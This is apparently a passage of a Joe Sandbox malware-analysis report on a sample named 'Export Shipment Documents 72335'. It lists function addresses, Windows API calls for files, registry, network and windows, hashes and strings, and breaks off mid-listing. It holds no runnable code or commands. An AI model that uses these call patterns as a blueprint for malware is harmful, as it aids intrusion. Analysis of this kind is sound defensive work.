                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _wcslen$_wcsncpy$LocalTime__wcstoi64
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 228034949-0
                                                                                                                                                                                                          • Opcode ID: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                                                                                                                                                                                                          • Instruction ID: c9113392db11e6d0b84b7dcaf0f9983ae7bcdcfbf3325debe08446cd55f13bc3
                                                                                                                                                                                                          • Opcode Fuzzy Hash: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 874194B181435066DA10FF6AC8479DFB3A8EF89314F84495FF945D3162E378E64883AA
                                                                                                                                                                                                          Function 004334CA Relevance: 21.1, APIs: 14, Instructions: 132filecommemoryCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,?,0046FAD5), ref: 004334F4
                                                                                                                                                                                                          • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043350F
                                                                                                                                                                                                          • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043351A
                                                                                                                                                                                                          • GlobalLock.KERNEL32(00000000), ref: 00433523
                                                                                                                                                                                                          • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433533
                                                                                                                                                                                                          • GlobalUnlock.KERNEL32(00000000), ref: 0043353A
                                                                                                                                                                                                          • CloseHandle.KERNEL32(00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433541
                                                                                                                                                                                                          • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043354F
                                                                                                                                                                                                          • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,?), ref: 00433568
                                                                                                                                                                                                          • GlobalFree.KERNEL32(00000000), ref: 0043357B
                                                                                                                                                                                                          • GetObjectW.GDI32(?,00000018,?), ref: 004335A6
                                                                                                                                                                                                          • CopyImage.USER32(?,00000000,?,?,00002000), ref: 004335DB
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 00433603
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000172,00000000,?), ref: 0043361B
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Global$File$CreateObject$AllocCloseCopyDeleteFreeHandleImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3969911579-0
                                                                                                                                                                                                          • Opcode ID: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                                                                                                                                                          • Instruction ID: 5aed18668fdc988692497ed4484016cc97142e8c7c748bcd34b77a3330007e11
                                                                                                                                                                                                          • Opcode Fuzzy Hash: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 70410471204210AFD710DF64DC88F6BBBE8FB89711F10492DFA45972A0D7B5A941CBAA
                                                                                                                                                                                                          Function 00445A77 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 73windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetParent.USER32 ref: 00445A8D
                                                                                                                                                                                                          • GetClassNameW.USER32(00000000,?,00000100), ref: 00445AA0
                                                                                                                                                                                                          • __wcsicoll.LIBCMT ref: 00445AC4
                                                                                                                                                                                                          • __wcsicoll.LIBCMT ref: 00445AE0
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00445B3D
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __wcsicoll$ClassMessageNameParentSend
                                                                                                                                                                                                          • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                                                                                                                                                          • API String ID: 3125838495-3381328864
                                                                                                                                                                                                          • Opcode ID: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                                                                                                                                                          • Instruction ID: 9ea7b4bfd8e333fc3d4c3d1cc69785ca983c3453aa66f955cff8de8c622a02b1
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                                                                                                                                                          • Instruction Fuzzy Hash: F011E9B1B40301BBFF10B6659C46EAF739CDF94759F00081BFD44E6182F6ACA9458769
                                                                                                                                                                                                          Function 00479921 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 314COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CopyVariant$ErrorLast
                                                                                                                                                                                                          • String ID: Conversion of parameters failed$NULL Pointer assignment$Not an Object type
                                                                                                                                                                                                          • API String ID: 2286883814-4206948668
                                                                                                                                                                                                          • Opcode ID: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                                                                                                                                                                                                          • Instruction ID: 5c76bcf0434180a49ef26f8382d3619d889c8a8ee3f63882ad125ac36acecb62
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4EA1F0B1644300ABD620EB25CC81EABB3E9FBC4704F10891EF65987251D779E945CBAA
                                                                                                                                                                                                          Function 00475D8B Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 194COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                                                                                                                                                            • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                                                                          • GetDriveTypeW.KERNEL32(?,?,00000061), ref: 00475EEC
                                                                                                                                                                                                          • _wcscpy.LIBCMT ref: 00475F18
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: BuffCharDriveLowerType_wcscpy_wcslen
                                                                                                                                                                                                          • String ID: a$all$cdrom$fixed$network$ramdisk$removable$unknown$HH
                                                                                                                                                                                                          • API String ID: 3052893215-4176887700
                                                                                                                                                                                                          • Opcode ID: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                                                                                                                                                                                                          • Instruction ID: 30c0e749cffa51fc832ec364bb88d57898ea161693411a08ebb212f54f1b1ce2
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E951E5716047009BC710EF51D981B9BB3D4AB85705F108C2FF948AB382D7B9DE09879B
                                                                                                                                                                                                          Function 004582BF Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 165registryCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • StringFromIID.OLE32(?,?,00000003,?,?,00000000), ref: 004582E5
                                                                                                                                                                                                            • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                                            • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                          • CoTaskMemFree.OLE32(?,00000000), ref: 00458335
                                                                                                                                                                                                          • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 00458351
                                                                                                                                                                                                          • RegQueryValueExW.ADVAPI32 ref: 00458381
                                                                                                                                                                                                          • CLSIDFromString.OLE32(00000000,?), ref: 004583AF
                                                                                                                                                                                                          • RegQueryValueExW.ADVAPI32 ref: 004583E8
                                                                                                                                                                                                          • LoadRegTypeLib.OLEAUT32(?,?), ref: 00458486
                                                                                                                                                                                                            • Part of subcall function 00413F97: __wtof_l.LIBCMT ref: 00413FA1
                                                                                                                                                                                                          • RegCloseKey.ADVAPI32(?), ref: 004584BA
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: FromQueryStringValue_wcslen$CloseFreeLoadOpenTaskType__wtof_l_wcscpy
                                                                                                                                                                                                          • String ID: Version$\TypeLib$interface\
                                                                                                                                                                                                          • API String ID: 656856066-939221531
                                                                                                                                                                                                          • Opcode ID: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                                                                                                                                                                                                          • Instruction ID: 73379605cfaaf105ee685c6daddaf2c4824f5dc828714578f474d0d05c7db838
                                                                                                                                                                                                          • Opcode Fuzzy Hash: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 19513B715083059BD310EF55D944A6FB3E8FFC8B08F004A2DF985A7251EA78DD09CB9A
                                                                                                                                                                                                          Function 0045E62E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 155COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E676
                                                                                                                                                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                          • LoadStringW.USER32(?,?,?,00000FFF), ref: 0045E69A
                                                                                                                                                                                                          • __swprintf.LIBCMT ref: 0045E6EE
                                                                                                                                                                                                          • _printf.LIBCMT ref: 0045E7A9
                                                                                                                                                                                                          • _printf.LIBCMT ref: 0045E7D2
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: LoadString_printf$__swprintf_wcslen
                                                                                                                                                                                                          • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                                                                                                                                                          • API String ID: 3590180749-2354261254
                                                                                                                                                                                                          • Opcode ID: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                                                                                                                                                                                                          • Instruction ID: 835382aeb01427732dc6b750cf2ba574ed77461063debdd42288bdc21f9728b4
                                                                                                                                                                                                          • Opcode Fuzzy Hash: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                                                                                                                                                                                                          • Instruction Fuzzy Hash: B051D5715143019BD324FB51CC41EAF77A8AF84354F14093FF94563292DB78AE49CB6A
                                                                                                                                                                                                          Function 004580E1 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 136registryshareCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                          • _memset.LIBCMT ref: 00458194
                                                                                                                                                                                                          • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 004581D6
                                                                                                                                                                                                          • RegConnectRegistryW.ADVAPI32(?,80000002,00000000), ref: 004581F4
                                                                                                                                                                                                          • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,00000000), ref: 00458219
                                                                                                                                                                                                          • RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,?,?), ref: 00458248
                                                                                                                                                                                                          • CLSIDFromString.OLE32(00000000,?), ref: 00458279
                                                                                                                                                                                                          • RegCloseKey.ADVAPI32(00000000), ref: 0045828F
                                                                                                                                                                                                          • RegCloseKey.ADVAPI32(00000000), ref: 00458296
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memset_wcslen
                                                                                                                                                                                                          • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                                                                                                                                                          • API String ID: 2255324689-22481851
                                                                                                                                                                                                          • Opcode ID: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                                                                                                                                                                                                          • Instruction ID: 0916ae95de1959dc40878de41837780f7e862baf069d4d5c3429810960799c2e
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4A4190725083019BD320EF54C845B5FB7E8AF84714F044D2EFA8577291DBB8E949CB9A
                                                                                                                                                                                                          Function 004584D6 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 105registryCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • RegOpenKeyExW.ADVAPI32(80000000,interface,00000000,00020019,?), ref: 00458513
                                                                                                                                                                                                          • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00458538
                                                                                                                                                                                                          • RegCloseKey.ADVAPI32(?), ref: 00458615
                                                                                                                                                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                          • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,000001FE,interface\), ref: 0045858A
                                                                                                                                                                                                          • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,00000028), ref: 004585A8
                                                                                                                                                                                                          • __wcsicoll.LIBCMT ref: 004585D6
                                                                                                                                                                                                          • IIDFromString.OLE32(?,?,?,?), ref: 004585EB
                                                                                                                                                                                                          • RegCloseKey.ADVAPI32(?), ref: 004585F8
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CloseOpen$EnumFromQueryStringValue__wcsicoll_wcslen
                                                                                                                                                                                                          • String ID: ($interface$interface\
                                                                                                                                                                                                          • API String ID: 2231185022-3327702407
                                                                                                                                                                                                          • Opcode ID: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                                                                                                                                                                                                          • Instruction ID: 2ed788c9a442d2de66cb2a0eaf665167c450c6ff9570aaff4df7cfaf3afbbce1
                                                                                                                                                                                                          • Opcode Fuzzy Hash: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                                                                                                                                                                                                          • Instruction Fuzzy Hash: CE317271204305ABE710DF54DD85F6BB3E8FB84744F10492DF685A6191EAB8E908C76A
                                                                                                                                                                                                          Function 00436582 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 79networkCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • WSAStartup.WSOCK32(00000101,?), ref: 004365A5
                                                                                                                                                                                                          • gethostname.WSOCK32(00000100,00000100,00000101,?), ref: 004365BC
                                                                                                                                                                                                          • gethostbyname.WSOCK32(00000101,00000100,00000100,00000101,?), ref: 004365C6
                                                                                                                                                                                                          • _wcscpy.LIBCMT ref: 004365F5
                                                                                                                                                                                                          • WSACleanup.WSOCK32 ref: 004365FD
                                                                                                                                                                                                          • inet_ntoa.WSOCK32(00000100,?), ref: 00436624
                                                                                                                                                                                                          • _strcat.LIBCMT ref: 0043662F
                                                                                                                                                                                                          • _wcscpy.LIBCMT ref: 00436644
                                                                                                                                                                                                          • WSACleanup.WSOCK32(?,?,?,?,?,?,00000100,?), ref: 00436652
                                                                                                                                                                                                          • _wcscpy.LIBCMT ref: 00436666
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _wcscpy$Cleanup$Startup_strcatgethostbynamegethostnameinet_ntoa
                                                                                                                                                                                                          • String ID: 0.0.0.0
                                                                                                                                                                                                          • API String ID: 2691793716-3771769585
                                                                                                                                                                                                          • Opcode ID: 72edaa20f59d4c855ae2a4057bf2e912041bb0bcae33cfe0ba1e7234a9852c49
                                                                                                                                                                                                          • Instruction ID: 29d249c793a1599df1911ffab6ed89036a29d54f41df1114d8fa63e2d2305339
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 72edaa20f59d4c855ae2a4057bf2e912041bb0bcae33cfe0ba1e7234a9852c49
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5C21D4726003016BD620FB269C42FFF33A89FD4318F54492FF64456242EABDD58983AB
                                                                                                                                                                                                          Function 00416B12 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetModuleHandleW.KERNEL32(KERNEL32.DLL,0048C968,0000000C,00416C4D,00000000,00000000,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416B24
                                                                                                                                                                                                          • __crt_waiting_on_module_handle.LIBCMT ref: 00416B2F
                                                                                                                                                                                                            • Part of subcall function 0041177F: Sleep.KERNEL32(000003E8,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 0041178B
                                                                                                                                                                                                            • Part of subcall function 0041177F: GetModuleHandleW.KERNEL32(00411739,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 00411794
                                                                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00416B58
                                                                                                                                                                                                          • GetProcAddress.KERNEL32(00411739,DecodePointer), ref: 00416B68
                                                                                                                                                                                                          • __lock.LIBCMT ref: 00416B8A
                                                                                                                                                                                                          • InterlockedIncrement.KERNEL32(00EA60FF), ref: 00416B97
                                                                                                                                                                                                          • __lock.LIBCMT ref: 00416BAB
                                                                                                                                                                                                          • ___addlocaleref.LIBCMT ref: 00416BC9
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
                                                                                                                                                                                                          • String ID: DecodePointer$EncodePointer$KERNEL32.DLL
                                                                                                                                                                                                          • API String ID: 1028249917-2843748187
                                                                                                                                                                                                          • Opcode ID: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                                                                                                                                                          • Instruction ID: dfb830706c011728ae11a8c0f52cb2fa371409e71f4acd403326aacb15a29bdd
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4E119671944701AFD720EF76C905B9EBBE0AF00714F10495FE469A6391DB78A580CB1D
                                                                                                                                                                                                          Function 0044920C Relevance: 18.2, APIs: 12, Instructions: 243windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000000,000000FF,?), ref: 0044931D
                                                                                                                                                                                                          • SendMessageW.USER32(?,0045BBB0,00000000,00000000), ref: 0044932D
                                                                                                                                                                                                          • CharNextW.USER32(?,?,?,?,0045BBB0,00000000,00000000,?,?), ref: 00449361
                                                                                                                                                                                                          • SendMessageW.USER32(?,?,00000000,00000000), ref: 00449375
